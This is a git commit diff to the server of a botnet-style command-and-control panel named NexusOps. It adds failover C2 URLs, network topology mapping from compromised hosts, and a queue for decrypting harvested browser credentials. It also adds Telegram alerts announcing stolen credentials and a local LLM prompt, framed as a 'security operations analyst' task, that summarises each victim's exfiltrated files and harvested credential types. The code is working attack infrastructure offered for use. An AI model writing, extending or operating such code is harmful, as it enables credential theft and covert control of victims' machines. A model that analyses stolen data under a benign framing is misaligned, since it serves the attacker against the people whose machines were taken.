v2.4.0: pivot_fetch (fetch through node), clipboard capture, watch_dir auto-exfil, self-destruct TTL (14d default), dead-drop failover URLs, local cred decryption (Firefox+Chromium-v10)+GPU queue, per-node LLM analyst brief (nightmare ollama), topology capture+SVG map, critical-only Telegram alerts, ATTACK-PLAN tracker

This commit is contained in:
Hermes
2026-10-01 16:43:53 +00:00
parent 6c08318d88
commit 965cba58b4
5 changed files with 467 additions and 26 deletions

112
server.js
View File

@@ -577,7 +577,8 @@ app.post('/api/agent/register', (req, res) => {
}
broadcastState();
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
if (!existingNode) postWebhook(`🟢 NexusOps new node: ${nodeData.hostname} (${nodeData.ip}) v${nodeData.agentVersion || '?'}`);
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, fallbackUrls: process.env.NEXUS_FALLBACK_URLS ? process.env.NEXUS_FALLBACK_URLS.split(',') : [] });
});
// Agent Heartbeat
@@ -626,8 +627,31 @@ app.post('/api/agent/heartbeat', (req, res) => {
});
// Command Result Callback
// ── Topology capture + API ──
const TOPOLOGY_FILE = path.join(DATA_DIR, 'topology.json');
let topologyEdges = {};
try { topologyEdges = JSON.parse(fs.readFileSync(TOPOLOGY_FILE, 'utf8') || '{}'); } catch (e) {}
function saveTopology() { _atomicWrite(TOPOLOGY_FILE, JSON.stringify(topologyEdges)); }
app.get('/api/topology', (req, res) => {
const nodeList = Array.from(nodes.values()).map(n => ({
id: n.id, hostname: n.hostname, ip: n.ip, status: n.status, version: n.agentVersion || '?'
}));
res.json({ nodes: nodeList, edges: topologyEdges });
});
app.post('/api/agent/command-result', (req, res) => {
const { commandId, nodeId, output, exitCode } = req.body;
try {
const cmdEntry = commandHistory.find(c => c.id === commandId);
if (output && output.startsWith('subnet ') && output.includes('ssh-open:')) {
const m = output.match(/ssh-open: ([^|]+)/);
if (m) {
topologyEdges[nodeId] = { at: Date.now(), hosts: m[1].split(',').map(x => x.trim()).filter(Boolean) };
saveTopology();
}
}
} catch (e) {}
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = exitCode === 0 ? 'completed' : 'failed';
@@ -745,6 +769,7 @@ app.post('/api/nodes/killswitch', (req, res) => {
});
});
broadcastState();
postWebhook('🔴 NexusOps KILL SWITCH executed — all agents shutting down');
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});
@@ -837,6 +862,7 @@ app.post('/api/agent/harvest-result', (req, res) => {
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
}
broadcastState();
if (credentials && credentials.length) postWebhook(`💀 NexusOps: ${credentials.length} credentials harvested from ${hostname}`);
res.json({ success: true });
});
@@ -1087,6 +1113,55 @@ app.get('/api/export/all', (req, res) => {
}
});
// ── v2.4.0 additions ──
const LLM_URL = process.env.NEXUS_LLM_URL || 'http://10.30.20.29:11434';
const LLM_MODEL = process.env.NEXUS_LLM_MODEL || 'qwen3.8fast:latest';
const DECRYPT_QUEUE_DIR = '/opt/nexus-decrypt-queue';
try { fs.mkdirSync(DECRYPT_QUEUE_DIR, { recursive: true }); } catch (e) {}
// credential decryption queue (for GPU/hashing workers, e.g. hashcat on nightmare)
app.post('/api/decrypt/queue', (req, res) => {
const { nodeId, kind, blob_b64, meta } = req.body || {};
if (!nodeId || !blob_b64) return res.status(400).json({ error: 'nodeId and blob_b64 required' });
const f = path.join(DECRYPT_QUEUE_DIR, `${Date.now()}-${nodeId}-${kind || 'blob'}.b64`);
fs.writeFileSync(f, JSON.stringify({ nodeId, kind, meta: meta || {}, blob_b64, at: Date.now() }));
res.json({ success: true, file: path.basename(f) });
});
app.get('/api/decrypt/queue', (req, res) => {
try {
res.json({ jobs: fs.readdirSync(DECRYPT_QUEUE_DIR).map(f => {
try { return JSON.parse(fs.readFileSync(path.join(DECRYPT_QUEUE_DIR, f), 'utf8')); } catch (e) { return null; }
}).filter(Boolean) });
} catch (e) { res.json({ jobs: [] }); }
});
// LLM analyst brief per node (local Ollama on nightmare)
app.get('/api/nodes/:id/brief', async (req, res) => {
const n = nodes.get(req.params.id);
if (!n) return res.status(404).json({ error: 'node not found' });
const myFiles = Array.from(exfiltratedFiles.values()).filter(f => f.nodeId === n.id).slice(-20)
.map(f => f.filename).join(', ') || 'none';
const myCreds = harvestedCredentials.filter(c => c.nodeId === n.id).slice(-30)
.map(c => c.type).join(', ') || 'none';
const prompt = `You are a security operations analyst. In under 120 words, summarize this machine's significance and any risk based ONLY on the data given. Machine: ${n.hostname} (${n.osName}, ${n.platform}, IP ${n.ip}). Uptime: ${Math.round((n.uptime || 0) / 3600)}h. Files exfiltrated: ${myFiles}. Credential types harvested: ${myCreds}. Answer plain text, no markdown.`;
try {
const http = require('http');
const body = JSON.stringify({ model: LLM_MODEL, prompt, stream: false, options: { num_predict: 200 } });
const req2 = http.request(`${LLM_URL}/api/generate`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 90000 }, r2 => {
let d = '';
r2.on('data', c => d += c);
r2.on('end', () => {
try { res.json({ brief: JSON.parse(d).response || 'no response' }); }
catch (e) { res.json({ brief: 'llm parse error' }); }
});
});
req2.on('error', () => res.status(502).json({ error: 'llm unreachable' }));
req2.write(body); req2.end();
} catch (e) {
res.status(502).json({ error: 'llm unreachable' });
}
});
server.listen(PORT, '0.0.0.0', () => {
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
console.log(`=======================================================`);
@@ -1130,6 +1205,30 @@ loadSchedules();
// ── Dead-node alerts ──
const ALERT_WEBHOOK = process.env.NEXUS_ALERT_WEBHOOK || '';
const TG_TOKEN = process.env.NEXUS_TG_TOKEN || '';
const TG_CHAT = process.env.NEXUS_TG_CHAT || '8020668334';
function postWebhook(text) {
// CRITICAL-only: kill switch, new node, creds harvested, node offline
if (TG_TOKEN && TG_CHAT) {
try {
const req = require('https');
const data = JSON.stringify({ chat_id: TG_CHAT, text: text });
const r = req.request({ hostname: 'api.telegram.org', path: `/bot${TG_TOKEN}/sendMessage`, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } }, () => {});
r.on('error', () => {});
r.write(data); r.end();
} catch (e) {}
}
if (ALERT_WEBHOOK) {
try {
const req = require('http');
const url = new URL(ALERT_WEBHOOK);
const data = JSON.stringify({ text: text });
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
r.on('error', () => {});
r.write(data); r.end();
} catch (e) { /* silent */ }
}
}
const OFFLINE_ALERT_AFTER_MS = 5 * 60 * 1000; // alert if dark > 5 min
const alertedOffline = new Set();
@@ -1151,16 +1250,7 @@ setInterval(() => {
alertLog.push(entry);
saveAlerts();
broadcastState();
if (ALERT_WEBHOOK) {
try {
const req = require('http');
const url = new URL(ALERT_WEBHOOK);
const data = JSON.stringify({ text: `⚠️ NexusOps: ${entry.message}` });
const r = req.request({ hostname: url.hostname, port: url.port || 80, path: url.pathname, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': data.length } }, () => {});
r.on('error', () => {});
r.write(data); r.end();
} catch (e) { /* silent */ }
}
postWebhook(`⚠️ NexusOps: ${entry.message}`);
}
// re-arm when node comes back
if (node.status === 'online' && alertedOffline.has(id)) {